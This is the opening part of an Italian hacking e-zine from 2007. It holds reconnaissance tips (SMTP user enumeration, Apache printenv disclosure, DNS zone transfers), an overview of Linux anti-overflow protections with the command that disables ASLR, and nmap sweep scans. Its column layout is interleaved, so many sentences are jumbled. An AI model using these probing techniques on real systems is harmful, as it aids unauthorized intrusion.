Security System

60
Security System Numero: 0 - Novembre 2007 www.segfault.it Speciale Stack Overflow SAOR: Attacco al TCP (0Day) Windows Filter driver: L’era dei Rootkit Racconti Underground: La vera storia dell’Unicode bug

Transcript of Security System

Page 1: Security System

Security SystemNumero: 0 - Novembre 2007

www.segfault.it

SpecialeStack Overflow

SAOR:Attacco al TCP

(0Day)

Windows Filter driver: L’era dei Rootkit

Racconti Underground: La vera storia dell’Unicode bug

Page 2: Security System

OMMARIOSEditoriale

Tips & tricks

Focus on

Look at

Raccontidall’Underground

Tutti i numeri della sicurezza

Lo sapevi che?...

Kernel 2.6 e tecnologie Anti Overflow

Stack Overflow Vanilla: Il caso mod_jk

Quale è allo stato attuale la percezione della sicurezza informatica di vendor ed utenti? Cerchiamo di capirlo osservando cosa affermano recenti studi.

Lo sapevi che…alcuni server SMTP possono essere utilizzati per determinare da remoto gli utenti di sistema? Il processo di compilazione dei sorgenti di Apache installa di default nella cartella cgi-bin uno script di tutto interesse? Ancora oggi molti server DNS consentono il trasferimento “anonimo” del contenuto dei file di zona di un dominio?

La vera storia dell’ Unicode Bug

Vi siete mai chiesti perché le classiche tecniche di buffer overflow non funzionano più su Linux? Questo articolo mira a fornire le risposte giuste, un approfondimento utile che vi permetterà di distinguere le varie tecnologie di contrasto oggi esistenti e capire quando e dove sono attive.

I forum online sono pieni di post scritti da gente che domanda continuamente “come si diventa hacker?”. Un hacker non può certamente essere reputato tale senza conoscere la tecnica hacking per antonomasia, lo Stack Overflow. Questo articolo però lo fa in modo un po' diverso dal solito: presentando un esempio di vulnerabilità reale e recente, exploit remoto incluso!

Bypassare Exec-Shield su Fedora e RedHat Linux

Exec-Shield viene considerato la bestia nera di molti hacker. Aldilà del continuo miglioramento di questa tecnologia, la ricerca, volta a trovare nuove tecniche per bypassarla, non è però assolutamente ferma e ve ne forniamo una dimostrazione.

SAOR: Attacco al TCP

Dieci anni fa attacchi come il Syn Flooding ed il Ping Of Death erano in grado di bloccare un server o un servizio anche se lanciati da una linea collegata ad un modem a 28,8 o 33,6 Kbps. Il perfezionamento nel tempo dello stack TCP/IP dei sistemi operativi e la diffusione di dispositivi e software per la protezione come i firewall, hanno infine favorito una sterzata verso altri tipi di attacchi. Tuttavia i DoS classici che richiedono poche risorse e poco sforzo per essere portati a termine non si sono del tutto estinti. L'articolo descrive una tecnica, per certi versi ancora inedita, che sfrutta una deficienza architetturale del TCP. Exploit dimostrativo completo incluso.

Look at

Look at

Look at Filter Driver: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows

I rootkit sono strumenti di datazione “immemore” nella storia della sicurezza informatica. La loro evoluzione da user a kernel land li sta giornalmente proiettando verso un maggiore livello di complessità ma allo stesso tempo rende queste componenti sempre più difficili da rintracciare. Ecco un argomento su cui nelle prossime uscite non mancheremo di proporre altri approfondimenti!

C'è chi si definisce hacker e chi lo è senza saperlo ma lo dimostra con le sue azioni. Quella di oggi è una storia dal passato, ancora di recentissima attualità, sull'etica hacking che va aldilà della comune giustificazione che tende alla ricerca dell'informazione continua e per fini personali. I tempi cambiano e conviene adeguarsi…ma bisogna farlo utilizzando la testa!

pag. 3

pag. 4

pag. 7

pag.13

pag.29

pag.38

pag.46

pag.54

Page 3: Security System

TUTTI I NUMERI DELLA SICUREZZA

ome descrivere nel primo numero di una rivista che tratta temi correlati al mondo della (in)sicurezza

informatica quale dimensioni ha assunto oggi il fenomeno? Ce lo siamo chiesti in diverse circostanze

durante i nostri summit su skype ed alla fine ci siamo risposti che per dipingere la situazione attuale era Cforse meglio (almeno per questa prima volta) evitare considerazioni personali, limitandoci unicamente a

riportare i risultati statistici di alcuni recenti studi e lasciando al lettore il compito di interpretarli.

Partiamo dai vendor, ovvero da chi dovrebbe proteggere i propri utenti.

Stando ai dati divulgati dagli esperti di X-Force (la divisione security di IBM), il 12,6% delle vulnerabilità

scoperte durante la prima metà del 2007 è riconducibile ad appena cinque compagnie, rispettivamente

Microsoft (4,2%), Apple (3%), Oracle (2%), Cisco (1,9%) e Sun (1,5%), seguite da IBM (1,3%), Mozilla

Corporation (1,3%), Xoops (1,2%) e BEA (1,1%). Significativo, anche se non riconducibile direttamente alla

categoria dei vendor, come lo 0,9% di tutti i bug scoperti durante il periodo preso in esame dallo studio siano

relativi al kernel Linux. Il 21% delle vulnerabilità attribuibili ai primi cinque vendor risultavano prive di patch nel

momento in cui la ricerca era stata rilasciata (Agosto 2007), una percentuale superiore rispetto al 14% di un

anno fa. In totale le vulnerabilità conosciute e rese pubbliche (quindi non 0day) durante la prima metà

dell'anno in corso sono state 3273, il 3,3% in meno in confronto allo stesso periodo del 2006. Questo dato

positivo viene però offuscato dalle statistiche relative alla loro pericolosità. Il 90% può infatti essere sfruttata da

remoto e più della metà (esattamente il 51,6%) può fornire accesso ai dati del sistema vulnerabile.

E dall'altra parte come rispondono gli utenti?

Una ricerca pubblicata da McAfee alla fine di Settembre rivela che il 70% dichiara di utilizzare un programma

antispyware ma solo il 55% ne fa in realtà uso. L'errore nasce nella stragrande maggioranza dei casi dalla

convinzione che tutte le applicazioni antivirus integrino al loro interno una soluzione software di questo tipo. Il

94% degli utenti ha installato un antivirus ma il 48% utilizza una versione scaduta. Fra coloro che dispongono

invece di una versione non scaduta, il 65% non scarica periodicamente gli aggiornamenti. E poi ancora altri

numeri: l'81% degli utenti dichiara di avere un firewall installato. Di fatto solo il 64% lo tiene attivo. Il 78% non si

protegge con più di un'applicazione di sicurezza. Emerge infatti che l'antivirus è nella maggior parte dei casi

l'unica soluzione installata nei PC desktop. Pur questa mirabile presenza, il 54% degli utenti ha avuto di

recente problemi di virus mentre il 44% è stato infetto da almeno una componente spyware. Il 98% fra

coloro che si proteggono con più di un programma riconoscono l'importanza degli aggiornamenti. In realtà il

48% di questi utenti non effettua un update del suo sistema da almeno un mese.

E quale è l'attuale trend degli attacchi informatici?

90 è la percentuale di crescita del loro numero stimata da SecureWorks (riscontro relativo al solo territorio

statunitense) paragonando i risultati dello scorso quadrimestre (Maggio-Agosto 2007) con quelli del primo

(Gennaio-Aprile 2007).

30 mila è invece il numero di siti web regolari che secondo Symantec vengono ogni giorno compromessi ed

utilizzati come trampolino di lancio per nuovi attacchi o per la diffusione di malware vario.

Security System Staff

Editoriale

3

Page 4: Security System

TIPS & TRICKS

SMTP Enumeration prompt dei comandi (ad esempio con ssh), questo

trucco è ancora oggi parecchio sfruttato a beneficio

n molte configurazioni standard di Linux il dei nostalgici del finger[2] per lanciare attacchi di

sottosistema di posta elettronica è brute-forcing contro i servizi di autenticazione. Di Istrettamente vincolato al sistema operativo ed in solito questo genere di attacchi vengono infatti

particolare al sottosistema di autenticazione. condotti utilizzando come base di partenza username

Questo è ad esempio il caso di Sendmail[1] per il casuali o notoriamente diffusi su Internet (root o

quale, di default, il file locale /etc/passwd funge da www tanto per citare un paio di esempi) senza

l'effettiva consapevolezza del loro status rispetto al database degli account di posta elettronica. Tale

target. Il vantaggio nel praticare SMTP Enumeration comportamento permette di determinare quali utenti

è quindi notevole se si considera che è possibile sono configurati in un server. Le operazioni da

conoscere a priori quali account esistono nel sistema svolgere sono molto semplici. Una volta identificata

e possono potenzialmente essere violati (quelli cioè un'installazione di Sendmail si stabilisce una

sul quale concentrare i maggiori sforzi). Migliaia di comunicazione con il servizio:

tentativi di accesso ad un account inesistente hanno $ telnet 192.168.100.15 25

infatti il solo scopo di far perdere tempo ed aumentare Trying 192.168.100.15...Connected to 192.168.100.15. le probabilità di essere individuati. Escape character is '^]'.220 SS.local ESMTP Sendmail 8.12.3/8.12.3;

Non solo da Linux è possibile praticare SMTP Mon, 24 Sep 2007 13:19:23 +0300 (EEST)

Enumeration. In genere questa tecnica può essere

Si “dialoga” con esso…. (lo si saluta con il comando utilizzata anche su server basati su piattaforma

HELO e si indica un mittente nullo con il comando Windows o su servizi diversi da Sendmail per

identificare caselle di posta elettronica attive (la MAIL FROM):

parola spam dice nulla?). Alcuni anni fa questi task HELO test

potevano essere svolti facilmente con i comandi 250 SS.local Hello [192.168.100.87],

SMTP EXPN e VRFY, oggi spesso disattivati in quanto pleased to meet youMAIL FROM:<> reputati banali vettori di Information Disclosure[3]. 250 2.1.0 <>... Sender ok

Per terminare la comunicazione con il server è

sufficiente digitare da telnet il comando QUIT:….e si comunicano al server i destinatari del falso

messaggio. Dalle sua risposte sarà possibile QUIT

determinare se gli account oggetto di probing 221 SS.local closing connection

esistono o meno:

RCPT TO:<root>250 2.1.5 <root>... Recipient ok

[1] http://wRCPT TO:<bin>default in molte distribuzioni Linux che viene incluso anche in 250 2.1.5 <bin>... Recipient oksvariati release Unix come Solaris ed HP-UX.RCPT TO:<kennedy>

550 5.1.1 <fjssdfg>... User unknown [2] Storico servizio Unix in ascolto sulla porta TCP 79 che RCPT TO:<toor> fornisce informazioni sugli utenti di sistema (ora dell'ultimo 250 2.1.5 <toor>... Recipient ok accesso, tipo di shell, etc..). In passato veniva utilizzato proprio

per individuare la presenza e le abitudini di un utente (ad esempio se accedeva spesso o solo periodicamente al

Dall'output prodotto in questo caso si comprende sistema). Di solito gli account meno utilizzati erano anche quelli che subivano più tentativi di intrusione.facilmente che root, bin e toor sono utenti di sistema

[3] Con questo termine si tende solitamente indicare una fuga (Recipient OK), al contrario invece di kennedy (User di informazioni derivata dalla mal configurazione di un servizio

unknown). Pur non essendo sufficiente per o di un sistema che può consentire di determinare l'ambiente in cui il target risiede e perfezionare ai suoi danni un attacco su determinare se ogni account scoperto è attivo o può misura.

essere utilizzato per accedere da remoto ad un

ww.sendmail.org: Sendmail è il server SMTP di

4

Page 5: Security System

TIPS & TRICKS

includono infatti di default questo script. Un altro tips

interessante è quello di provare a visualizzare il

contenuto della cartella /manual puntando il

b r o w s e r a l l a p a g i n a

http://ipwebserver/manual. Di default le Apache Default CGI Information Disclosureversioni del branch 1.3 e 2.0 collocano il manuale in

Non tutti sanno che quando si installa Apache[4] linea del servizio in questa directory della

compilandolo dai sorgenti vengono collocati di DocumentRoot. Da lì è possibile determinare la

default due script CGI di esempio nella cartella versione del Web Server anche quando la direttiva

/cgi-bin. Uno di questi (printenv) fornisce una ServerTokens nel fi le di configurazione

serie di informazioni interessanti sul sistema remoto httpd.conf è stata impostata a Product Only[5] o

che possono aiutare a determinare con maggiore addirittura a Minimal[6].

semplicità e senza particolari sforzi, l'ambiente in cui

il web server è eseguito ed alcuni elementi della sua

configurazione. Semplicemente puntando il browser

alla pagina http://www.nomesito.xxx/cgi-

bin/printenv si possono ad esempio ottenere

informazioni sul software di base installato: DNS AXFR Zone Transfer

SERVER_SOFTWARE="Apache/1.3.31 (Unix) Tutte le comuni implementazioni TCP/IP dei moderni PHP/4.3.8 mod_perl/1.29 mod_ssl/2.8.18

OpenSSL/0.9.7d" sistemi operativi includono di default una utility le cui

potenzialità di utilizzo vengono spesso sotto stimate. o ancora il percorso dove è localizzata la Stiamo parlando di nslookup. Lo strumento DocumentRoot:

permette di indirizzare delle query verso un server

DNS e visualizzare a video le risposte ottenute. DOCUMENT_ROOT="/www/html"

Durante la fase di Information Gathering[7] di un

penetration test, l'interrogazione di un server DNS è oltre alla configurazione locale della variabile

uno dei primi passi da compiere, addirittura prima di d'ambiente PATH:

eventuali ping, telnet e traceroute (per le PATH="/usr/local/sbin:/usr/sbin:/sbin:/usr

attività di probing manuali) o di nmap (nel caso di /local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games:/usr/local/mysql/bin:/www/bin:/op scansioni automatizzate). Supponendo che il target t/www/htdig/bin:/usr/share/texmf/bin"

della propria analisi sia il dominio domain.it,

nslookup può individuare i relativi server di posta Questi output possono essere utilizzati per nel seguente modo (la sintassi è comune sia per determinare se il web server presenta del software di Windows che per Linux):base vulnerabile (ad esempio un modulo buggato),

localizzare con certezza il punto in cui le pagine web [4] httpd.apache.org

sono ospitate (utile per lanciare certi tipi di attacchi)

[5] Forza il web server a riportare nell'header HTTP “Server:” oppure individuare la presenza di componenti di solamente la stringa “Apache”.

back-end (come ad esempio un database server), [6] Forza il web server a non visualizzare nulla nell'header etc…La cgi printenv fornisce inoltre implicitamente HTTP “Server:” rendendo vana l'esatta identificazione della

l'evidenza che l'istanza di Apache in questione deriva versione del servizio con i classici metodi di scansione.

da un'installazione praticata attraverso la [7] E' la fase che si antepone al vero e proprio attacco informatico. Consiste essenzialmente nella raccolta di quante compilazione dei sorgenti. I pacchetti precompilati più informazioni possibili sui sistemi ed i dispositivi che

ufficiali delle svariate distribuzioni Linux non compongono la rete target.

Un codice dimostrativo automatico per questo

t r u c c o p u ò e s s e r e p r e l e v a t o d a

http://www.segfault.it/SS/001/tricks/SMTP-

enum.tar.gz

Un codice dimostrativo che automatizza

l'exploiting di questo trucco può essere prelevato

da http://www.segfault.it/SS/001/tricks/printenv-

scan.tar.gz

5

Page 6: Security System

TIPS & TRICKS

nslookup -querytype=MX domain.it IP allocata:[…]domain.it MX preference = 10, mail Name: amministratore.domain.itexchanger = mail2.domain.it Address: 192.168.101.35domain.it MX preference = 5, mail Name: help-desk.domain.itexchanger = mail.domain.it Address: 192.168.101.31

Name: nav1.domain.itAddress: 192.168.101.40I server DNS che gestiscono domain.it possono Name: nav2.domain.it

invece essere individuati cambiando il tipo di query Address: 192.168.101.41

(non più MX ma NS): Name: nav3.domain.itAddress: 192.168.101.42

nslookup -querytype=NS domain.it […][…]

§Individuare i sistemi di sicurezza interni ed esterni domain.it nameserver = o le macchine che ospitano servizi di interesse ns1.domain.it.

domain.it nameserver = (web, ftp, smtp, proxy, firewall, etc…)ns2.domain.it.

Name: proxy-fire.domain.itI server di dominio del target possono a loro volta Address: jjj.jjj.jjj.jjj

Name: proxy-fire.domain.itessere utilizzati per rifinire ulteriormente la fase di Address: 192.168.101.160

Information Gathering. Fra le richieste DNS più Name: gw_intero.domain.it

interessanti vi è ad esempio la query AXFR, Address: 192.168.101.160Name: ftp.domain.itresponsabile del trasferimento del contenuto dei file Address: xxx.xxx.xxx.xxx

di zona, caratteristica concepita dalla RFC 1034[8] al Name: web1.domain.it

fine di agevolare la replicazione ed il backup delle Address: yyy.yyy.yyy.yyyName: web2.domain.itconfigurazioni DNS. Comunemente dovrebbe essere Address: zzz.zzz.zzz.zzzbuona norma consentire lo scambio di questi dati Name: gw_esterno.domain.it

unicamente fra due nodi autenticati (il master e lo Address: kkk.kkk.kkk.kkkslave) o che condividono un meccanismo di trusting, […]

§Mappare la rete esternama moltissimi server di dominio in Internet

rispondono anche a query AXFR inviate da client Name: client1.domain.it

anonimi (attenzione nslookup su Windows sembra Address: xxx.xxx.xxx.xxxName: client2.domain.itnon essere in grado di lanciare query AXFR Address: yyy.yyy.yyy.yyy

ritornando di fatto il codice di errore Format Name: sede_roma.domain.it

Error[9]. Probabilmente ciò è dovuto al fatto che le Address: zzz.zzz.zzz.zzz

query AXFR necessitano di essere lanciate su canale L'output derivato dalle query AXFR può essere talvolta TCP mentre Windows utilizza sempre il protocollo così completo da non rendere necessario l'utilizzo di UDP):strumenti di scansione come nmap , riducendo [10]

nslookup -querytype=AXFR domain.it notevolmente il rischio di essere tracciati da sistemi di ns1.domain.it

Intrusion Detection. nslookup -querytype=AXFR domain.it

[8] http://tools.ietf.org/html/rfc1034ns2.domain.it

[9] da L'output prodotto da questi comandi può essere

http://www.microsoft.com/resources/documentation/windows/xp/molto interessante e vale la pena analizzarlo con all/proddocs/en-us/nslookup.mspx?mfr=true: “The DNS name

server found that the request packet was not in the proper attenzione. Da esso è possibile ad esempio:format. It may indicate an error in nslookup”.

§Mappare la rete interna del target e la classe [10] http://www.insecure.org

6

Page 7: Security System

focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW

# cat /proc/2306/mapsuali sono oggi le probabilità di accedere da

[…]remoto ad un sistema Linux sfruttando un Q 08048000-08049000 r-xp 00000000 fd:00 comune stack overflow? Negli ultimi anni le

misure di sicurezza volte a contrastare questo genere 621089 /usr/bin/server

di minaccia sono aumentate esponenzialmente nel

tentativo di frenare il fenomeno della propagazione 08049000-0804a000 rw-p 00000000 fd:00

dei worm e ridurre le possibilità di un aggressore 621089 /usr/bin/server

esterno di condurre con successo attacchi intrusivi.

Reperire infatti exploit “one-shot” (compila, esegui […]

ed ottieni una shell al primo colpo) soprattutto per il bfd26000-bfd3b000 rw-p bfd26000 00:00

pinguino è diventato abbastanza arduo. Seppure 0 [stack]

esistano tecniche più o meno efficienti per aumentare

le probabilità di successo di un attacco contro le In questo esempio, ottenuto attraverso il filesystem tecnologie anti-overflow oggi esistenti, le possibilità /proc[1], è possibile osservare i permessi assegnati di portarlo a termine in modo corretto si abbassano alle varie aree di memoria dell'applicazione notevolmente quando più fra queste tecnologie “/usr/bin/server“. Come si può notare lo stack vengono implementate a protezione di un sistema. risulta essere solamente leggibile e scrivibile. Il Se è vero che “l'unione fa la forza” è proprio questo il contenuto al suo interno verrà quindi interpretato concetto a cui molti vendor Linux si sono ispirati. unicamente come dati. Il contenuto presente invece Sono diverse infatti le distribuzioni (a parte fra l'indirizzo 0x08048000 e 0x08049000 verrà ovviamente qualche rara eccezione) che applicano al

interpretato dal processore come istruzioni kernel o alla librerie di sistema un mix di patch

eseguibili (notare i permessi r-xp). Nel nostro caso differenti per la sicurezza, allontanandolo così

questa zona rappresenta il codice compilato del file considerevolmente dalla sua originaria versione

binario e mappato in memoria. Poiché la funzionalità vanilla. In questo contesto sono quattro le tecnologie

No-eXecute non è supportata da tutti i processori (in comunemente implementate che è importante

particolare è assente in modo nativo su piattaforma conoscere. Diamo loro brevemente uno sguardo per

x86), alcuni sistemi operativi la emulano a livello comprendere quali barriere antepongono al corretto

s o f t w a r e . P e r L i n u x e s i s t o n o d i v e r s e svolgimento di un attacco intrusivo.

implementazioni. Le più famose sono PaX[2] ed

Exec-Shield, quest'ultima sviluppata da Red Hat.No-eXecute

E' una funzionalità supportata dai moderni processori

AMD ed Intel che si riferisce in realtà all'ultimo bit (il bit

63) della tabella di paging, il cui scopo è quello di

marcare le aree di memoria a seconda degli effettivi

utilizzi. Ad esempio marcando lo stack e l'heap come

non eseguibili, viene preclusa la possibilità di inserire

in queste aree di memoria uno shellcode che possa [1] cat /proc/pid/maps

essere richiamato alterando l'indirizzo di ritorno di Per osservare come da sistema operativo Linux vengono

una funzione o un puntatore generico. In questo marcate le aree di memoria di un'applicazione già in esecuzione è

necessario determinare il pid del programma attraverso il modo la parte in cui sono contenuti i dati può essere comando ps o simile e visualizzare da filesystem /proc il file mapsseparata dai segmenti che contengono invece

istruzioni eseguibili dal processore:[2] http://www.grsecurity.net/

7

Page 8: Security System

focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW

info>}0x4f6550 <system>Address Space Layout Randomization (ASLR)

[…]

E' una tecnica che permette di randomizzare lo

[…]spazio di indirizzamento virtuale di un programma. Ad

ogni esecuzione di un'applicazione l'indirizzo base (gdb) p $esp

$1 = (void *) 0xbffdd21cdello stack, dell'heap, delle librerie linkate e/o della

stessa regione di memoria in cui il file eseguibile (gdb) p system

viene mappato, variano randomicamente. In questo $2 = {<text variable, no debug

modo diviene difficile predire con esattezza il punto in info>}0x788550 <system>

cui uno shellcode verrà collocato in memoria o

l'indirizzo in cui si troveranno puntatori e/o funzioni di L'Address Space Layout Randomization è attivo di interesse, riducendo notevolmente l'efficacia sia default sul kernel Linux a partire dalla versione 2.6.20 delle classiche tecniche di buffer overflow che di ma diverse distribuzioni la implementato da tempo. quelle più avanzate (return-to-libc, VDSO return-to- Ad esempio Red Hat ha sviluppato la propria stack, etc…). Le aree di memoria interessate dalla tecnologia che fa parte di Exec-Shield. Anche PaX randomizzazione variano a seconda della offre questo tipo di supporto. Comunemente ASLR configurazione del sistema, delle patch del kernel può essere attivato/disattivato attraverso filesystem applicate dalla distribuzione in uso e/o dalle opzioni di /proc[4]

compilazione utilizzate. Si osservi il seguente

Stack Canaryesempio:

E' la tecnologia anti stack overflow su cui gli esperti # gdb ./server –q

ripongono maggiori speranze. Consiste nel (gdb) break *main

generare, ad ogni esecuzione di un'applicazione, un Breakpoint 1 at 0x8048604

valore (randomico o statico a seconda delle (gdb) run

implementazioni e delle circostanze) definito canary. Breakpoint 1, 0x08048604 in main ()

Il canary (Figura 1), in fase di costruzione dello stack (gdb) p $esp

frame di ogni funzione che utilizzi buffer più grandi di $1 = (void *) 0xbfbe362c

una certa dimensione (solitamente dai 4/8 byte in su), (gdb) p systemviene collocato subito dopo gli eventuali puntatori ed i $2 = {<text variable, no debug buffer allocati ma prima del Frame Pointer (puntato info>}0x1c8550 <system>dal registro EBP) e dell'indirizzo di ritorno della (gdb) quitfunzione (puntato dal registro EIP). Il canary viene poi

controllato subito prima dell'invocazione dell'indirizzo Appena dopo l'ingresso nella funzione main() di ritorno. Se il suo valore differisce dall'originario

dell'applicazione server, lo Stack Pointer punta allora la causa è da imputare ad una condizione di

all'indirizzo di memoria 0xbfbe362c mentre la overflow (Figura 2) che lo ha impropriamente

funzione system() può essere raggiunta attraverso sovrascritto e pertanto l'applicazione viene terminata

l'indirizzo 0x1c8550. Ma eseguendo più volte con il segnale SIGABRT.

l'applicazione e ripetendo la sessione di debugging

con gdb[3] questi indirizzi variano di continuo: [3] http://www.gnu.org/software/gdb/gdb.html

[4] echo 0 > /proc/sys/kernel/randomize_va_space (gdb) p $espdisattiva ASLR.$1 = (void *) 0xbfd9efececho 1 > /proc/sys/kernel/randomize_va_space

(gdb) p systemattiva ASLR.

$2 = {<text variable, no debug

8

Page 9: Security System

focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW

.

Si comporta in questo modo SSP (meglio noto come FORTIFY SOURCE

ProPolice) che attraverso una patch per GCC è

implementato di default a partire dalla versione 4.1 del FORTIFY_SOURCE è una nuova feature aggiunta in

compilatore GNU. Altre implementazioni, come nel alcune distribuzioni sotto forma di patch al tree di

caso delle prime versione di StackGuard, possono sorgenti del GCC[6] che può essere utilizzata per

comportarsi in modo diverso (ad esempio rilevare e prevenire alcuni tipi di buffer overflow (stack,

proteggendo solo l'indirizzo di ritorno di una funzione heap e format string) prima che si verifichino.

ma non il suo Frame Pointer). void funzione(char *string)

{In alcune distribuzioni Linux come Fedora, per attivare

char buf[20];la protezione offerta da SSP, è necessario specificare

strcpy(buf, string);esplicitamente l'opzione –fstack-protector

}quando si compila dai sorgenti. In altre invece (ad

esempio nelle ultime edizioni di Ubuntu) questa è Nell'esempio di codice sopra evidenziato, il

implicitamente attiva e per disattivarla è necessario compilatore conosce in anticipo la dimensione del

specificare l'opzione –fno-stack-protector. Per buffer buf nello stack e può quindi prevenire che più

conoscere se un'applicazione è stata compilata con la di 20 byte di dati vengano copiati al suo interno.

protezione SSP è possibile utilizzare lo strumento Questo tipo di controllo viene effettuato da apposite

objdump[5] e verificare la presenza della funzione funzioni di check a seconda della funzione di copia

utilizzata nel programma. Ad esempio nel caso __stack_chk_fail:

appena mostrato un'analisi del binario rivelerà una o

più chiamate a __strcpy_chk subito dopo # objdump -d ./s | grep stack

l'invocazione di ciascuna strcpy():0804859c <__stack_chk_fail@plt>:

8048977: e8 20 fc ff ff # objdump -d server | grep strcpy call 804859c <__stack_chk_fail@plt> […]

804865a: e8 a1 fe ff ff call 8048500 La funzione __stack_chk_fail si occupa di

<__strcpy_chk@plt>verificare la congruità del canary ed è uno dei primi

80487a8: e8 53 fd ff ff call 8048500 blocchi di codice da analizzare se si vuole

<__strcpy_chk@plt>comprendere il funzionamento di SSP sotto Linux. Le

[5] http://directory.fsf.org/binutils.html - Lo strumento fa parte delle tecnologie Stack Canary non sono in grado di GNU binutils. E' incluso di default in tutte le principali distribuzioni.proteggere da condizioni di overflow che si verificano [6] http://directory.fsf.org/gcc.html - Compilatore GNU per i

in altre regioni di memoria al di fuori dello Stack (ad linguaggi C/C++/Java/Ada/Fortran. Costituisce la base degli

esempio nell’ Heap). strumenti di sviluppo di ogni distribuzione Linux.

puntatore

4 byteAAAA

puntatore

4 byteAAAA

buffer

256 byteAAAAAAAAAAA[...]

canary

4 byte0xAAAAAAAA

frame pointer

4 byte

returnaddress

4 byte

Attacker string

AAA[...]

puntatore

4 byte

puntatore

4 byte

buffer

256 byte

canary

0xXXXXXXXX

frame pointer

4 byte

returnaddress

4 byte

Figura 1: collocazione del canary nello stack frame di una funzione

Figura 2: Un overflow sovrascrive puntatori, buffer e canary in memoria. __stack_chk_fail al ritorno della funzione di copia si accorgerà di questa situazione evitando che il flusso di esecuzione del programma riprenda dal return address

9

Page 10: Security System

FORTIFY_SOURCE aggiunge funzioni di check per indicano i comparti territoriali a cui tali percentuali si

la maggior parte delle funzioni preposte allo riferiscono (Centro Europa, Cina e Stati Uniti). Lo

spostamento di dati da un'area di memoria all'altra schema evidenzia chiaramente un'alta percentuale di

che possono causare un buffer overflow come server Linux con kernel 2.4 ancora attivi. Tale

memcpy, memmove, memset, strcat, circostanza è sorprendentemente più marcata negli

strncat, strncpy, etc…, incluse quelle che Stati Uniti che in Cina, dove comunque la differenza a

favore dei kernel 2.6 è appena dello 1,2% e dove i permettono di indicare il formato della stringa

sistemi con kernel 2.2 rappresentano addirittura il (printf, fprintf, vfprintf, snprintf,

23,38% dell'intero campione sondato. Pur trattandosi sprintf, vsnprintf e vsprintf)di dati statistici ricavati a partire da un range limitato di

Riepilugum meglium est host rispetto alla quantità di indirizzi IP disponibili ed

allocati in internet, rimane però immutabile il fatto che

In tabella 1 è riportato il riepilogo schematizzato delle in rete un'alta percentuale di server è ancora

funzionalità di sicurezza supportate di default dalle sprovvista di ogni sorta di protezione anti overflow, il

ultime distribuzioni Linux esistenti nel momento in cui che rende questi sistemi dei target particolarmente

si scrive. Debian e Slackware che tendono ad appetibili e senza dubbio più accessibili rispetto a

avvicinarsi il più possibile al kernel vanilla (ovvero quelli in cui tali tecnologie sono invece già presenti.

privo di patch aggiuntive), risultano essere i sistemi Verrebbe dunque da asserire che l'avvento dei kernel

meno complessi da violare, mentre tra i più 2.6 sta accompagnando le tecniche di hacking

problematici rientra senza dubbio Fedora. classico (quelle fatte cioè di buffer sovrascritti oltre le

massime capacità di contenimento consentite, di

Alcune fra le tecnologie anti overflow introdotte nei puntatori deviati e di shellcode collocati in aree di

paragrafi precedenti e le metodologie note per memoria propizie) verso il tramonto. In realtà

bypassarle verranno descritte in dettaglio già a esistono ancora buoni margini di successo per

partire da questo numero della rivista. hacker e worm-writer di scrivere exploit funzionanti,

seppure le percentuali di fare breccia ai primi tentativi

si siano sensibilmente ridotte con le nuove tecnologie

E' la fine dell'hacking? anti overflow .

I due articoli pratici che seguono nelle pagine La maggior parte delle tecnologie anti overflow successive hanno proprio lo scopo di far sviluppate in questi ultimi anni sono state integrate di comprendere la differenza che intercorre tra violare default nelle moderne distribuzioni Linux solo a un vecchio sistema con kernel 2.4 e violarne uno più partire dal kernel 2.6. Ciò significa che tutti i sistemi moderno con kernel 2.6 e con le ultime funzionalità di con versioni inferiori ne sono potenzialmente sicurezza implementate.sprovviste[7]. Se da un lato è possibile obiettare che

tutte le principali distribuzioni desktop e server sono

oramai passate al kernel 2.6, dall'altro è possibile

affermare che in ambienti di produzione questo

switch non è ancora avvenuto in modo completo e

definitivo. Si osservi a tal proposito la tabella 2

sviluppata a partire da alcuni dati raccolti effettuando [7] PaX può essere applicato manualmente anche su svariate

fingerprint[8] remoto su un campione di 1000 sistemi versioni del kernel branch 2.4 e 2.2.

connessi ad Internet. La tabella consta di tre colonne [8] si tratta di una tecnica che si avvale di richieste TCP, UDP e/o

che indicano la percentuale di kernel di tipo 2.2, 2.4 e ICMP, definite probe, per identificare con approssimativa certezza il sistema operativo di un server e/o client connesso in 2.6 rilevata durante il probing e di altrettante righe che rete.

focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW

10

Page 11: Security System

# nmap -sP -n -oG IP_active_asia.txt Le statistiche della Tabella 2 sono state generate

211.157.0-10.*utilizzando due tecniche di fingerprint distinte basate

principalmente su protocoll i ICMP e TCP,

Dove: rispettivamente implementate dagli strumenti

xprobe2[9] ed nmap[10].

-sP attiva la modalità Sweep Scan (ovvero procede Perché due diversi strumenti?

con l'invio di un icmp echo request e di un pacchetto

TCP ACK per determinare se la destinazione è online).La scelta di utilizzare due diversi strumenti è stata

dettata dalla necessità di produrre risultati il più -n disattiva la risoluzione DNS degli host.

possibile consistenti e congruenti. Poiché il traffico

ICMP viene solitamente filtrato dai firewall, si è scelto di -oG stampa l'output nel file IP_active_asia.txt affiancare alla scansione di xprobe2 quella di nmap,

in un formato facilmente manipolabile con il comando così da procedere con una più accurata identificazione

grep (ovvero tutte le informazioni ricavate per ciascun del kernel dei sistemi testati. La tecnica del TCP

indirizzo IP vengono memorizzate sulla stessa riga).Fingerprint implementata da Nmap è però molto

dispendiosa in quanto necessità di almeno una porta 211.157.0-10.* rappresenta uno dei range IP

aperta ed una chiusa per poter produrre risultati scelto per il sondaggio (nell'esempio da 211.157.0.0 a

completi. Se una di queste condizioni non viene 211.157.10.255).

soddisfatta, il tool procede alla scansione automatica di

tutte le porte TCP dell'host remoto. Laddove il traffico Dall'output generato con nmap è stata poi

ICMP non fosse filtrato ed il risultato finale potesse successivamente ricavata la lista degli indirizzi IP attivi,

essere reputato sufficientemente attendibile, si è sgrondandolo delle informazioni inutili:

preferito quindi lavorare esclusivamente con xprobe2

# cut -d " " -f 2 IP_active_asia.txt | che fa uso di un numero di richieste più circoscritto e grep –v Nmap > asia_list1che pertanto consuma meno banda di rete, generando

di conseguenza meno traffico e non urtando la La parte del comando prima del pipe (|) serve a

sensibilità dei sistemi IDS. Solo per gli indirizzi IP per i stampare per ogni riga di testo presente nel file

quali non è stato possibile produrre alcun risultato IP_active_asia.txt il contenuto della seconda

